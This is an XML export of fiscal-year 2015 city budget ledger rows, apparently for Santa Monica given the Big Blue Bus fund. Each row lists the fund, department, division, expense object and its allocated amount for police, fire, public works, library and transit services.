<row _id="13892"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>300</department_id><department_name>POLICE</department_name><division_id>306</division_id><division_name>STRATEGIC SERVICES</division_name><object>566140.0</object><object_description>INVESTIGATION EXPENSE</object_description><category_code>806.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2015</fiscal_year><july>10435.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>10435.0</total></row>
<row _id="13893"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>300</department_id><department_name>POLICE</department_name><division_id>306</division_id><division_name>STRATEGIC SERVICES</division_name><object>566240.0</object><object_description>PARKING METER ENFORCEMENT</object_description><category_code>806.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2015</fiscal_year><july>32652.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>32652.0</total></row>
<row _id="13894"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>300</department_id><department_name>POLICE</department_name><division_id>307</division_id><division_name>CRIMINAL INVESTIGATION DIV</division_name><object>511920.0</object><object_description>UNIFORM / TOOL ALLOWANCE</object_description><category_code>806.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2015</fiscal_year><july>65160.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>65160.0</total></row>
<row _id="13895"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>310</department_id><department_name>FIRE</department_name><division_id>312</division_id><division_name>FIRE - ADMINISTRATION</division_name><object>522900.0</object><object_description>MEMBERSHIPS AND DUES</object_description><category_code>806.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2015</fiscal_year><july>6392.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>6392.0</total></row>
<row _id="13896"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>310</department_id><department_name>FIRE</department_name><division_id>312</division_id><division_name>FIRE - ADMINISTRATION</division_name><object>522920.0</object><object_description>VEHICLES - REPAIRS</object_description><category_code>806.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2015</fiscal_year><july>5643.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>5643.0</total></row>
<row _id="13897"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>310</department_id><department_name>FIRE</department_name><division_id>312</division_id><division_name>FIRE - ADMINISTRATION</division_name><object>533120.0</object><object_description>SPECIAL EQUIP MAINT</object_description><category_code>806.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2015</fiscal_year><july>30043.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>30043.0</total></row>
<row _id="13898"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>310</department_id><department_name>FIRE</department_name><division_id>312</division_id><division_name>FIRE - ADMINISTRATION</division_name><object>511730.0</object><object_description>WORKERS' COMP INSURANCE</object_description><category_code>806.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2015</fiscal_year><july>1249156.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>1249156.0</total></row>
<row _id="13899"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>310</department_id><department_name>FIRE</department_name><division_id>312</division_id><division_name>FIRE - ADMINISTRATION</division_name><object>555010.0</object><object_description>CONTRACTUAL SERVICES</object_description><category_code>806.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2015</fiscal_year><july>49082.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>49082.0</total></row>
<row _id="13900"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>310</department_id><department_name>FIRE</department_name><division_id>313</division_id><division_name>FIRE SUPPRESSION AND RESCUE</division_name><object>533120.0</object><object_description>SPECIAL EQUIP MAINT</object_description><category_code>806.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2015</fiscal_year><july>41509.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>41509.0</total></row>
<row _id="13901"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>41</fund_id><fund_name>Big Blue Bus Fund</fund_name><department_id>600</department_id><department_name>BIG BLUE BUS</department_name><division_id>653</division_id><division_name>TRANSIT MAINTENANCE</division_name><object>511000.0</object><object_description>PERMANENT EMPLOYEES</object_description><category_code xsi:nil="true" /><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2015</fiscal_year><july>1005804.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>1005804.0</total></row>
<row _id="13902"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>41</fund_id><fund_name>Big Blue Bus Fund</fund_name><department_id>600</department_id><department_name>BIG BLUE BUS</department_name><division_id>653</division_id><division_name>TRANSIT MAINTENANCE</division_name><object>511979.0</object><object_description>MEDICAL EXAMS</object_description><category_code xsi:nil="true" /><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2015</fiscal_year><july>5000.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>5000.0</total></row>
<row _id="13903"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>402</division_id><division_name>ENGINEERING</division_name><object>522820.0</object><object_description>CONFERENCES/MEETINGS/TRAVEL</object_description><category_code>808.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2015</fiscal_year><july>6599.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>6599.0</total></row>
<row _id="13904"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>402</division_id><division_name>ENGINEERING</division_name><object>533020.0</object><object_description>GENERAL LIABILITY / AUTO</object_description><category_code>808.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2015</fiscal_year><july>108353.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>108353.0</total></row>
<row _id="13905"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>27</fund_id><fund_name>Resource Recovery &amp; Recyc Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>441</division_id><division_name>RESOURCE RECOVERY &amp; RECYCLING</division_name><object>522210.0</object><object_description>UTILITIES - TELEPHONE</object_description><category_code>808.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2015</fiscal_year><july>40618.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>40618.0</total></row>
<row _id="13906"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>27</fund_id><fund_name>Resource Recovery &amp; Recyc Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>441</division_id><division_name>RESOURCE RECOVERY &amp; RECYCLING</division_name><object>522310.0</object><object_description>OFFICE SUPPLIES / EXPENSES</object_description><category_code>808.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2015</fiscal_year><july>61887.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>61887.0</total></row>
<row _id="13907"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>27</fund_id><fund_name>Resource Recovery &amp; Recyc Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>441</division_id><division_name>RESOURCE RECOVERY &amp; RECYCLING</division_name><object>533180.0</object><object_description>TRANSFER STATION OPERATIONS</object_description><category_code>808.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2015</fiscal_year><july>15000.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>15000.0</total></row>
<row _id="13908"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>37</fund_id><fund_name>Cemetery Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>641</division_id><division_name>CEMETERY</division_name><object>522130.0</object><object_description>UTILITIES - WATER</object_description><category_code>808.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2015</fiscal_year><july>99779.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>99779.0</total></row>
<row _id="13909"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>37</fund_id><fund_name>Cemetery Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>641</division_id><division_name>CEMETERY</division_name><object>533120.0</object><object_description>SPECIAL EQUIP MAINT</object_description><category_code>808.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2015</fiscal_year><july>5000.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>5000.0</total></row>
<row _id="13910"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>37</fund_id><fund_name>Cemetery Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>641</division_id><division_name>CEMETERY</division_name><object>544120.0</object><object_description>PERIODICALS</object_description><category_code>808.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2015</fiscal_year><july>300.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>300.0</total></row>
<row _id="13911"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>31</fund_id><fund_name>Wastewater Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>661</division_id><division_name>WASTEWATER</division_name><object>522310.0</object><object_description>OFFICE SUPPLIES / EXPENSE</object_description><category_code>848.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2015</fiscal_year><july>4072.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>4072.0</total></row>
<row _id="13912"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>25</fund_id><fund_name>Water Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>671</division_id><division_name>WATER</division_name><object>510000.0</object><object_description>SALARIES AND WAGES</object_description><category_code>840.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2015</fiscal_year><july>0.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>0.0</total></row>
<row _id="13913"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>410</department_id><department_name>LIBRARY</department_name><division_id>613</division_id><division_name>ADMIN. AND FACILITIES</division_name><object>522160.0</object><object_description>TRANSFER STATION FEE</object_description><category_code>812.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2015</fiscal_year><july>0.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>0.0</total></row>
<row _id="13914"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>410</department_id><department_name>LIBRARY</department_name><division_id>613</division_id><division_name>ADMIN. AND FACILITIES</division_name><object>522310.0</object><object_description>OFFICE SUPPLIES / EXPENSE</object_description><category_code>812.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2015</fiscal_year><july>2755.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>2755.0</total></row>
<row _id="13915"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>410</department_id><department_name>LIBRARY</department_name><division_id>613</division_id><division_name>ADMIN. AND FACILITIES</division_name><object>522310.0</object><object_description>OFFICE SUPPLIES / EXPENSE</object_description><category_code>812.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2015</fiscal_year><july>2755.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>2755.0</total></row>
<row _id="13916"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>410</department_id><department_name>LIBRARY</department_name><division_id>613</division_id><division_name>ADMIN. AND FACILITIES</division_name><object>522720.0</object><object_description>MILEAGE</object_description><category_code>812.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2015</fiscal_year><july>1100.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>1100.0</total></row>
<row _id="13917"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>410</department_id><department_name>LIBRARY</department_name><division_id>613</division_id><division_name>ADMIN. AND FACILITIES</division_name><object>544010.0</object><object_description>SPEC DEPT SUPPLIES</object_description><category_code>812.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2015</fiscal_year><july>1995.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>1995.0</total></row>
<row _id="13918"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>410</department_id><department_name>LIBRARY</department_name><division_id>613</division_id><division_name>ADMIN. AND FACILITIES</division_name><object>544010.0</object><object_description>SPEC DEPT SUPPLIES</object_description><category_code>812.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2015</fiscal_year><july>27265.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>27265.0</total></row>
<row _id="13919"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>410</department_id><department_name>LIBRARY</department_name><division_id>613</division_id><division_name>ADMIN. AND FACILITIES</division_name><object>544110.0</object><object_description>PRINTED FORMS</object_description><category_code>812.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2015</fiscal_year><july>3135.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>3135.0</total></row>
<row _id="13920"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>410</department_id><department_name>LIBRARY</department_name><division_id>616</division_id><division_name>PUBLIC AND BRANCH SERVICES</division_name><object>511000.0</object><object_description>PERMANENT EMPLOYEES</object_description><category_code>812.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2015</fiscal_year><july>2306075.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>2306075.0</total></row>
<row _id="13921"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>410</department_id><department_name>LIBRARY</department_name><division_id>616</division_id><division_name>PUBLIC AND BRANCH SERVICES</division_name><object>511500.0</object><object_description>TEMPORARY EMPLOYEES</object_description><category_code>812.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2015</fiscal_year><july>127460.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>127460.0</total></row>
<row _id="13922"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>410</department_id><department_name>LIBRARY</department_name><division_id>613</division_id><division_name>ADMIN. AND FACILITIES</division_name><object>588000.0</object><object_description>CAPITAL OUTLAY</object_description><category_code>812.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2015</fiscal_year><july>0.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>0.0</total></row>
<row _id="13923"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>410</department_id><department_name>LIBRARY</department_name><division_id>613</division_id><division_name>ADMIN. AND FACILITIES</division_name><object>511730.0</object><object_description>WORKERS' COMP INSURANCE</object_description><category_code>812.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2015</fiscal_year><july>75720.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>75720.0</total></row>
<row _id="13924"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>410</department_id><department_name>LIBRARY</department_name><division_id>613</division_id><division_name>ADMIN. AND FACILITIES</division_name><object>522110.0</object><object_description>UTIL - LIGHT / POWER</object_description><category_code>812.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2015</fiscal_year><july>317858.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>317858.0</total></row>
<row _id="13925"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>410</department_id><department_name>LIBRARY</department_name><division_id>613</division_id><division_name>ADMIN. AND FACILITIES</division_name><object>522310.0</object><object_description>OFFICE SUPPLIES / EXPENSE</object_description><category_code>812.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2015</fiscal_year><july>3895.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>3895.0</total></row>
<row _id="13926"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>410</department_id><department_name>LIBRARY</department_name><division_id>613</division_id><division_name>ADMIN. AND FACILITIES</division_name><object>522540.0</object><object_description>ADVERTISING</object_description><category_code>812.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2015</fiscal_year><july>1045.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>1045.0</total></row>
<row _id="13927"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>410</department_id><department_name>LIBRARY</department_name><division_id>613</division_id><division_name>ADMIN. AND FACILITIES</division_name><object>522540.0</object><object_description>ADVERTISING</object_description><category_code>812.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2015</fiscal_year><july>760.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>760.0</total></row>
<row _id="13928"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>410</department_id><department_name>LIBRARY</department_name><division_id>613</division_id><division_name>ADMIN. AND FACILITIES</division_name><object>522540.0</object><object_description>ADVERTISING</object_description><category_code>812.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2015</fiscal_year><july>285.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>285.0</total></row>
<row _id="13929"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>410</department_id><department_name>LIBRARY</department_name><division_id>613</division_id><division_name>ADMIN. AND FACILITIES</division_name><object>533120.0</object><object_description>SPECIAL EQUIP MAINT</object_description><category_code>812.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2015</fiscal_year><july>0.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>0.0</total></row>
<row _id="13930"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>401</division_id><division_name>ADMINISTRATIVE SERVICES (PW)</division_name><object>544010.0</object><object_description>SPEC DEPT SUPPLIES</object_description><category_code>808.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2015</fiscal_year><july>1606.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>1606.0</total></row>
<row _id="13931"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>402</division_id><division_name>ENGINEERING</division_name><object>522900.0</object><object_description>MEMBERSHIPS AND DUES</object_description><category_code>808.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2015</fiscal_year><july>3193.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>3193.0</total></row>
<row _id="13932"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>41</fund_id><fund_name>Big Blue Bus Fund</fund_name><department_id>600</department_id><department_name>BIG BLUE BUS</department_name><division_id>651</division_id><division_name>TRANSIT MAINTENANCE</division_name><object>555012.0</object><object_description>OUTSIDE REPAIRS - SERVICE VEHC</object_description><category_code xsi:nil="true" /><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2015</fiscal_year><july>75750.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>75750.0</total></row>
<row _id="13933"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>41</fund_id><fund_name>Big Blue Bus Fund</fund_name><department_id>600</department_id><department_name>BIG BLUE BUS</department_name><division_id>651</division_id><division_name>TRANSIT MAINTENANCE</division_name><object>555013.0</object><object_description>OUTSIDE REPAIRS - SHOP EQUIP</object_description><category_code xsi:nil="true" /><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2015</fiscal_year><july>2100.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>2100.0</total></row>
<row _id="13934"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>41</fund_id><fund_name>Big Blue Bus Fund</fund_name><department_id>600</department_id><department_name>BIG BLUE BUS</department_name><division_id>652</division_id><division_name>TRANSIT MAINTENANCE</division_name><object>511000.0</object><object_description>PERMANENT EMPLOYEES</object_description><category_code xsi:nil="true" /><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2015</fiscal_year><july>3558128.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>3558128.0</total></row>
<row _id="13935"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>41</fund_id><fund_name>Big Blue Bus Fund</fund_name><department_id>600</department_id><department_name>BIG BLUE BUS</department_name><division_id>655</division_id><division_name>TRANSIT OPERATIONS</division_name><object>511000.0</object><object_description>PERMANENT EMPLOYEES</object_description><category_code xsi:nil="true" /><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2015</fiscal_year><july>16100380.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>16100380.0</total></row>
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<row _id="13937"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>41</fund_id><fund_name>Big Blue Bus Fund</fund_name><department_id>600</department_id><department_name>BIG BLUE BUS</department_name><division_id>654</division_id><division_name>TRANSIT OPERATIONS</division_name><object>511500.0</object><object_description>TEMPORARY EMPLOYEES</object_description><category_code xsi:nil="true" /><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2015</fiscal_year><july>71809.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>71809.0</total></row>
<row _id="13938"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>41</fund_id><fund_name>Big Blue Bus Fund</fund_name><department_id>600</department_id><department_name>BIG BLUE BUS</department_name><division_id>651</division_id><division_name>TRANSIT MAINTENANCE</division_name><object>522160.0</object><object_description>TRANSFER STATION FEE</object_description><category_code xsi:nil="true" /><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2015</fiscal_year><july>226.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>226.0</total></row>
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<row _id="13940"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>410</department_id><department_name>LIBRARY</department_name><division_id>613</division_id><division_name>ADMIN. AND FACILITIES</division_name><object>522540.0</object><object_description>ADVERTISING</object_description><category_code>812.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2015</fiscal_year><july>0.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>0.0</total></row>
<row _id="13941"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>410</department_id><department_name>LIBRARY</department_name><division_id>613</division_id><division_name>ADMIN. AND FACILITIES</division_name><object>522540.0</object><object_description>ADVERTISING</object_description><category_code>812.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2015</fiscal_year><july>95.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>95.0</total></row>
<row _id="13942"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>410</department_id><department_name>LIBRARY</department_name><division_id>613</division_id><division_name>ADMIN. AND FACILITIES</division_name><object>522820.0</object><object_description>CONFERENCES/MEETINGS/TRAVEL</object_description><category_code>812.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2015</fiscal_year><july>17500.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>17500.0</total></row>
